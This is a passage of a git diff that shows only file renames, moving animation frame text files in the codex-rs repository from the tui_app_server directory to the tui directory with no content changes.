b/codex-rs/tui/frames/default/frame_30.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_30.txt rename to codex-rs/tui/frames/default/frame_30.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_31.txt b/codex-rs/tui/frames/default/frame_31.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_31.txt rename to codex-rs/tui/frames/default/frame_31.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_32.txt b/codex-rs/tui/frames/default/frame_32.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_32.txt rename to codex-rs/tui/frames/default/frame_32.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_33.txt b/codex-rs/tui/frames/default/frame_33.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_33.txt rename to codex-rs/tui/frames/default/frame_33.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_34.txt b/codex-rs/tui/frames/default/frame_34.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_34.txt rename to codex-rs/tui/frames/default/frame_34.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_35.txt b/codex-rs/tui/frames/default/frame_35.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_35.txt rename to codex-rs/tui/frames/default/frame_35.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_36.txt b/codex-rs/tui/frames/default/frame_36.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_36.txt rename to codex-rs/tui/frames/default/frame_36.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_4.txt b/codex-rs/tui/frames/default/frame_4.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_4.txt rename to codex-rs/tui/frames/default/frame_4.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_5.txt b/codex-rs/tui/frames/default/frame_5.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_5.txt rename to codex-rs/tui/frames/default/frame_5.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_6.txt b/codex-rs/tui/frames/default/frame_6.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_6.txt rename to codex-rs/tui/frames/default/frame_6.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_7.txt b/codex-rs/tui/frames/default/frame_7.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_7.txt rename to codex-rs/tui/frames/default/frame_7.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_8.txt b/codex-rs/tui/frames/default/frame_8.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_8.txt rename to codex-rs/tui/frames/default/frame_8.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_9.txt b/codex-rs/tui/frames/default/frame_9.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_9.txt rename to codex-rs/tui/frames/default/frame_9.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_1.txt b/codex-rs/tui/frames/dots/frame_1.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_1.txt rename to codex-rs/tui/frames/dots/frame_1.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_10.txt b/codex-rs/tui/frames/dots/frame_10.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_10.txt rename to codex-rs/tui/frames/dots/frame_10.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_11.txt b/codex-rs/tui/frames/dots/frame_11.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_11.txt rename to codex-rs/tui/frames/dots/frame_11.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_12.txt b/codex-rs/tui/frames/dots/frame_12.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_12.txt rename to codex-rs/tui/frames/dots/frame_12.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_13.txt b/codex-rs/tui/frames/dots/frame_13.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_13.txt rename to codex-rs/tui/frames/dots/frame_13.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_14.txt b/codex-rs/tui/frames/dots/frame_14.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_14.txt rename to codex-rs/tui/frames/dots/frame_14.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_15.txt b/codex-rs/tui/frames/dots/frame_15.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_15.txt rename to codex-rs/tui/frames/dots/frame_15.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_16.txt b/codex-rs/tui/frames/dots/frame_16.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_16.txt rename to codex-rs/tui/frames/dots/frame_16.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_17.txt b/codex-rs/tui/frames/dots/frame_17.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_17.txt rename to codex-rs/tui/frames/dots/frame_17.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_18.txt b/codex-rs/tui/frames/dots/frame_18.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_18.txt rename to codex-rs/tui/frames/dots/frame_18.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_19.txt b/codex-rs/tui/frames/dots/frame_19.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_19.txt rename to codex-rs/tui/frames/dots/frame_19.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_2.txt b/codex-rs/tui/frames/dots/frame_2.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_2.txt rename to codex-rs/tui/frames/dots/frame_2.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_20.txt b/codex-rs/tui/frames/dots/frame_20.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_20.txt rename to codex-rs/tui/frames/dots/frame_20.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_21.txt b/codex-rs/tui/frames/dots/frame_21.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_21.txt rename to codex-rs/tui/frames/dots/frame_21.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_22.txt b/codex-rs/tui/frames/dots/frame_22.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_22.txt rename to codex-rs/tui/frames/dots/frame_22.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_23.txt b/codex-rs/tui/frames/dots/frame_23.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_23.txt rename to codex-rs/tui/frames/dots/frame_23.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_24.txt b/codex-rs/tui/frames/dots/frame_24.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_24.txt rename to codex-rs/tui/frames/dots/frame_24.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_25.txt b/codex-rs/tui/frames/dots/frame_25.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_25.txt rename to codex-rs/tui/frames/dots/frame_25.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_26.txt b/codex-rs/tui/frames/dots/frame_26.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_26.txt rename to codex-rs/tui/frames/dots/frame_26.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_27.txt b/codex-rs/tui/frames/dots/frame_27.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_27.txt rename to codex-rs/tui/frames/dots/frame_27.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_28.txt b/codex-rs/tui/frames/dots/frame_28.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_28.txt rename to codex-rs/tui/frames/dots/frame_28.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_29.txt b/codex-rs/tui/frames/dots/frame_29.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_29.txt rename to codex-rs/tui/frames/dots/frame_29.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_3.txt b/codex-rs/tui/frames/dots/frame_3.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_3.txt rename to codex-rs/tui/frames/dots/frame_3.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_30.txt b/codex-rs/tui/frames/dots/frame_30.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_30.txt rename to codex-rs/tui/frames/dots/frame_30.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_31.txt b/codex-rs/tui/frames/dots/frame_31.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_31.txt rename to codex-rs/tui/frames/dots/frame_31.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_32.txt b/codex-rs/tui/frames/dots/frame_32.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_32.txt rename to codex-rs/tui/frames/dots/frame_32.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_33.txt b/codex-rs/tui/frames/dots/frame_33.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_33.txt rename to codex-rs/tui/frames/dots/frame_33.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_34.txt b/codex-rs/tui/frames/dots/frame_34.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_34.txt rename to codex-rs/tui/frames/dots/frame_34.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_35.txt b/codex-rs/tui/frames/dots/frame_35.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_35.txt rename to codex-rs/tui/frames/dots/frame_35.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_36.txt b/codex-rs/tui/frames/dots/frame_36.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_36.txt rename to codex-rs/tui/frames/dots/frame_36.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_4.txt b/codex-rs/tui/frames/dots/frame_4.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_4.txt rename to codex-rs/tui/frames/dots/frame_4.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_5.txt b/codex-rs/tui/frames/dots/frame_5.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_5.txt rename to codex-rs/tui/frames/dots/frame_5.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_6.txt b/codex-rs/tui/frames/dots/frame_6.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_6.txt rename to codex-rs/tui/frames/dots/frame_6.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_7.txt b/codex-rs/tui/frames/dots/frame_7.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_7.txt rename to codex-rs/tui/frames/dots/frame_7.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_8.txt b/codex-rs/tui/frames/dots/frame_8.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_8.txt rename to codex-rs/tui/frames/dots/frame_8.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_9.txt b/codex-rs/tui/frames/dots/frame_9.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_9.txt rename to codex-rs/tui/frames/dots/frame_9.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_1.txt b/codex-rs/tui/frames/hash/frame_1.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_1.txt rename to codex-rs/tui/frames/hash/frame_1.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_10.txt b/codex-rs/tui/frames/hash/frame_10.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_10.txt rename to codex-rs/tui/frames/hash/frame_10.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_11.txt b/codex-rs/tui/frames/hash/frame_11.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_11.txt rename to codex-rs/tui/frames/hash/frame_11.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_12.txt b/codex-rs/tui/frames/hash/frame_12.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_12.txt rename to codex-rs/tui/frames/hash/frame_12.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_13.txt b/codex-rs/tui/frames/hash/frame_13.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_13.txt rename to codex-rs/tui/frames/hash/frame_13.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_14.txt b/codex-rs/tui/frames/hash/frame_14.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_14.txt rename to codex-rs/tui/frames/hash/frame_14.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_15.txt b/codex-rs/tui/frames/hash/frame_15.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_15.txt rename to codex-rs/tui/frames/hash/frame_15.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_16.txt b/codex-rs/tui/frames/hash/frame_16.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_16.txt rename to codex-rs/tui/frames/hash/frame_16.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_17.txt b/codex-rs/tui/frames/hash/frame_17.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_17.txt rename to codex-rs/tui/frames/hash/frame_17.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_18.txt b/codex-rs/tui/frames/hash/frame_18.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_18.txt rename to codex-rs/tui/frames/hash/frame_18.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_19.txt b/codex-rs/tui/frames/hash/frame_19.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_19.txt rename to codex-rs/tui/frames/hash/frame_19.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_2.txt b/codex-rs/tui/frames/hash/frame_2.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_2.txt rename to codex-rs/tui/frames/hash/frame_2.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_20.txt b/codex-rs/tui/frames/hash/frame_20.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_20.txt rename to codex-rs/tui/frames/hash/frame_20.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_21.txt b/codex-rs/tui/frames/hash/frame_21.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_21.txt rename to codex-rs/tui/frames/hash/frame_21.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_22.txt b/codex-rs/tui/frames/hash/frame_22.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_22.txt rename to codex-rs/tui/frames/hash/frame_22.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_23.txt b/codex-rs/tui/frames/hash/frame_23.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_23.txt rename to codex-rs/tui/frames/hash/frame_23.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_24.txt b/codex-rs/tui/frames/hash/frame_24.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_24.txt rename to codex-rs/tui/frames/hash/frame_24.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_25.txt b/codex-rs/tui/frames/hash/frame_25.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_25.txt rename to codex-rs/tui/frames/hash/frame_25.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_26.txt b/codex-rs/tui/frames/hash/frame_26.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_26.txt rename to codex-rs/tui/frames/hash/frame_26.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_27.txt b/codex-rs/tui/frames/hash/frame_27.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_27.txt rename to codex-rs/tui/frames/hash/frame_27.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_28.txt b/codex-rs/tui/frames/hash/frame_28.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_28.txt rename to codex-rs/tui/frames/hash/frame_28.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_29.txt b/codex-rs/tui/frames/hash/frame_29.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_29.txt rename to codex-rs/tui/frames/hash/frame_29.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_3.txt b/codex-rs/tui/frames/hash/frame_3.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_3.txt rename to codex-rs/tui/frames/hash/frame_3.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_30.txt b/codex-rs/tui/frames/hash/frame_30.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_30.txt rename to codex-rs/tui/frames/hash/frame_30.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_31.txt b/codex-rs/tui/frames/hash/frame_31.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_31.txt rename to codex-rs/tui/frames/hash/frame_31.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_32.txt b/codex-rs/tui/frames/hash/frame_32.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_32.txt rename to codex-rs/tui/frames/hash/frame_32.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_33.txt b/codex-rs/tui/frames/hash/frame_33.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_33.txt rename to codex-rs/tui/frames/hash/frame_33.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_34.txt b/codex-rs/tui/frames/hash/frame_34.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_34.txt rename to codex-rs/tui/frames/hash/frame_34.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_35.txt b/codex-rs/tui/frames/hash/frame_35.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_35.txt rename to codex-rs/tui/frames/hash/frame_35.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_36.txt b/codex-rs/tui/frames/hash/frame_36.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_36.txt rename to codex-rs/tui/frames/hash/frame_36.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_4.txt b/codex-rs/tui/frames/hash/frame_4.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_4.txt rename to codex-rs/tui/frames/hash/frame_4.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_5.txt b/codex-rs/tui/frames/hash/frame_5.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_5.txt rename to codex-rs/tui/frames/hash/frame_5.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_6.txt b/codex-rs/tui/frames/hash/frame_6.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_6.txt rename to codex-rs/tui/frames/hash/frame_6.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_7.txt b/codex-rs/tui/frames/hash/frame_7.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_7.txt rename to codex-rs/tui/frames/hash/frame_7.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_8.txt b/codex-rs/tui/frames/hash/frame_8.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_8.txt rename to codex-rs/tui/frames/hash/frame_8.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_9.txt b/codex-rs/tui/frames/hash/frame_9.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_9.txt rename to codex-rs/tui/frames/hash/frame_9.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_1.txt b/codex-rs/tui/frames/hbars/frame_1.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_1.txt rename to codex-rs/tui/frames/hbars/frame_1.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_10.txt b/codex-rs/tui/frames/hbars/frame_10.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_10.txt rename to codex-rs/tui/frames/hbars/frame_10.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_11.txt b/codex-rs/tui/frames/hbars/frame_11.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_11.txt rename to codex-rs/tui/frames/hbars/frame_11.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_12.txt b/codex-rs/tui/frames/hbars/frame_12.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_12.txt rename to codex-rs/tui/frames/hbars/frame_12.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_13.txt b/codex-rs/tui/frames/hbars/frame_13.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_13.txt rename to codex-rs/tui/frames/hbars/frame_13.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_14.txt b/codex-rs/tui/frames/hbars/frame_14.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_14.txt rename to codex-rs/tui/frames/hbars/frame_14.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_15.txt b/codex-rs/tui/frames/hbars/frame_15.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_15.txt rename to codex-rs/tui/frames/hbars/frame_15.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_16.txt b/codex-rs/tui/frames/hbars/frame_16.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_16.txt rename to codex-rs/tui/frames/hbars/frame_16.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_17.txt b/codex-rs/tui/frames/hbars/frame_17.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_17.txt rename to codex-rs/tui/frames/hbars/frame_17.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_18.txt b/codex-rs/tui/frames/hbars/frame_18.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_18.txt rename to codex-rs/tui/frames/hbars/frame_18.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_19.txt b/codex-rs/tui/frames/hbars/frame_19.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_19.txt rename to codex-rs/tui/frames/hbars/frame_19.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_2.txt b/codex-rs/tui/frames/hbars/frame_2.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_2.txt rename to codex-rs/tui/frames/hbars/frame_2.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_20.txt b/codex-rs/tui/frames/hbars/frame_20.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_20.txt rename to codex-rs/tui/frames/hbars/frame_20.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_21.txt b/codex-rs/tui/frames/hbars/frame_21.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_21.txt rename to codex-rs/tui/frames/hbars/frame_21.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_22.txt b/codex-rs/tui/frames/hbars/frame_22.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_22.txt rename to codex-rs/tui/frames/hbars/frame_22.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_23.txt b/codex-rs/tui/frames/hbars/frame_23.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_23.txt rename to codex-rs/tui/frames/hbars/frame_23.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_24.txt b/codex-rs/tui/frames/hbars/frame_24.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_24.txt rename to codex-rs/tui/frames/hbars/frame_24.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_25.txt b/codex-rs/tui/frames/hbars/frame_25.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_25.txt rename to codex-rs/tui/frames/hbars/frame_25.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_26.txt b/codex-rs/tui/frames/hbars/frame_26.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_26.txt rename to codex-rs/tui/frames/hbars/frame_26.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_27.txt b/codex-rs/tui/frames/hbars/frame_27.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_27.txt rename to codex-rs/tui/frames/hbars/frame_27.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_28.txt b/codex-rs/tui/frames/hbars/frame_28.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_28.txt rename to codex-rs/tui/frames/hbars/frame_28.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_29.txt b/codex-rs/tui/frames/hbars/frame_29.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_29.txt rename to codex-rs/tui/frames/hbars/frame_29.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_3.txt b/codex-rs/tui/frames/hbars/frame_3.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_3.txt rename to codex-rs/tui/frames/hbars/frame_3.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_30.txt b/codex-rs/tui/frames/hbars/frame_30.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_30.txt rename to codex-rs/tui/frames/hbars/frame_30.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_31.txt b/codex-rs/tui/frames/hbars/frame_31.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_31.txt rename to codex-rs/tui/frames/hbars/frame_31.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_32.txt b/codex-rs/tui/frames/hbars/frame_32.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_32.txt rename to codex-rs/tui/frames/hbars/frame_32.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_33.txt b/codex-rs/tui/frames/hbars/frame_33.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_33.txt rename to codex-rs/tui/frames/hbars/frame_33.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_34.txt b/codex-rs/tui/frames/hbars/frame_34.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_34.txt rename to codex-rs/tui/frames/hbars/frame_34.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_35.txt b/codex-rs/tui/frames/hbars/frame_35.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_35.txt rename to codex-rs/tui/frames/hbars/frame_35.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_36.txt b/codex-rs/tui/frames/hbars/frame_36.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_36.txt rename to codex-rs/tui/frames/hbars/frame_36.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_4.txt b/codex-rs/tui/frames/hbars/frame_4.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_4.txt rename to codex-rs/tui/frames/hbars/frame_4.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_5.txt b/codex-rs/tui/frames/hbars/frame_5.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_5.txt rename to codex-rs/tui/frames/hbars/frame_5.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_6.txt b/codex-rs/tui/frames/hbars/frame_6.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_6.txt rename to codex-rs/tui/frames/hbars/frame_6.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_7.txt b/codex-rs/tui/frames/hbars/frame_7.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_7.txt rename to codex-rs/tui/frames/hbars/frame_7.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_8.txt b/codex-rs/tui/frames/hbars/frame_8.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_8.txt rename to codex-rs/tui/frames/hbars/frame_8.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_9.txt b/codex-rs/tui/frames/hbars/frame_9.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_9.txt rename to codex-rs/tui/frames/hbars/frame_9.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_1.txt b/codex-rs/tui/frames/openai/frame_1.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_1.txt rename to codex-rs/tui/frames/openai/frame_1.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_10.txt b/codex-rs/tui/frames/openai/frame_10.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_10.txt rename to codex-rs/tui/frames/openai/frame_10.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_11.txt b/codex-rs/tui/frames/openai/frame_11.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_11.txt rename to codex-rs/tui/frames/openai/frame_11.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_12.txt b/codex-rs/tui/frames/openai/frame_12.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_12.txt rename to codex-rs/tui/frames/openai/frame_12.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_13.txt b/codex-rs/tui/frames/openai/frame_13.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_13.txt rename to codex-rs/tui/frames/openai/frame_13.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_14.txt b/codex-rs/tui/frames/openai/frame_14.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_14.txt rename to codex-rs/tui/frames/openai/frame_14.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_15.txt b/codex-rs/tui/frames/openai/frame_15.txt similarity index 100% rename from 